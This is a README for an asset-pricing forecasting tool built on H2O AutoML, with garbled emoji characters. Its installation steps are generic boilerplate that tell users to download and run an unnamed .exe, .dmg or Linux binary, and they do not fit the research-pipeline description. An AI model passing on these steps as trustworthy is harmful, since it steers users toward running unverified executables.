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πŸ“ˆ Forecast daily log-returns of the Dow Jones Industrial Average using an Automated Machine Learning pipeline that combines economic data and computational techniques.

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🌟 AutoML-Asset-Pricing-Pipeline - Simplifying Asset Pricing with AI

πŸ› οΈ Overview

AutoML-Asset-Pricing-Pipeline is an easy-to-use software solution designed for anyone interested in asset pricing and forecasting using modern AI techniques. Our tool combines advanced statistical methods with the power of H2O AutoML, allowing users to analyze financial data effortlessly. With features like smart data processing, validation tests, and model explainability, this pipeline helps you make informed financial decisions.

πŸ“₯ Download Now

Download AutoML-Asset-Pricing-Pipeline

πŸš€ Getting Started

To get started with AutoML-Asset-Pricing-Pipeline, follow these simple steps:

  1. System Requirements

    • Operating System: Windows, Mac, or Linux.
    • RAM: Minimum 8 GB recommended.
    • Disk Space: At least 1 GB available for installation.
    • Internet Connection: Required for downloading the necessary packages and data.
  2. Visit the Releases Page

  3. Choose the Latest Version

    • On the releases page, find the latest version of AutoML-Asset-Pricing-Pipeline. The latest release will be listed at the top.
  4. Download the Application

    • Click on the appropriate file for your operating system to start the download.
  5. Install the Application

    • After downloading, locate the file in your Downloads folder.
    • For Windows: Double-click the .exe file and follow the installation prompts.
    • For Mac: Open the .dmg file and drag the application to your Applications folder.
    • For Linux: Open a terminal, navigate to the download location, and run chmod +x AutoML-Asset-Pricing-Pipeline followed by ./AutoML-Asset-Pricing-Pipeline to execute the application.
  6. Run the Application

    • Once the installation is complete, you can launch the application from your applications menu or desktop shortcut.

πŸ“ Features

AutoML-Asset-Pricing-Pipeline includes the following features:

  • Advanced Preprocessing

    • Use techniques such as Winsorization and Augmented Dickey-Fuller (ADF) tests to prepare your financial data for analysis. These methods help to ensure the quality and reliability of your inputs.
  • Statistical Validation

    • Apply the Diebold-Mariano test for robust model comparison. This ensures your forecasts are tested against solid statistical standards.
  • Model Explainability

    • Utilize SHAP (SHapley Additive exPlanations) values to understand model predictions better. This feature helps demystify how your AI models make decisions.
  • User-Friendly Interface

    • Navigate easily with an intuitive interface designed for users with no programming knowledge.

🚧 Troubleshooting

If you encounter any issues while installing or running the application, consider the following steps:

  • Ensure your system meets the requirements listed above.
  • Check for any software dependencies that may be required for the application to run.
  • Restart your computer after installation to clear any potential conflicts.
  • Visit the support section on our repository for additional help.

🀝 Support

For questions or support, please visit our GitHub Issues page. We welcome your feedback and are here to assist you.

🌐 Community

Join our community to stay updated and get help from other users. Connect with fellow users and share your insights. You can find us on:

  • GitHub Discussions: Share ideas and improvements.
  • Twitter: Follow updates and news.

πŸ“œ License

AutoML-Asset-Pricing-Pipeline is open-source software. You can use it freely under the MIT License. Check the LICENSE file in the repository for details.

πŸ“₯ Download Again

To download AutoML-Asset-Pricing-Pipeline, please visit the releases page: Download Releases.

Enjoy exploring the world of automated machine learning and financial forecasting!

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πŸ“ˆ Forecast daily log-returns of the Dow Jones Industrial Average using an Automated Machine Learning pipeline that combines economic data and computational techniques.

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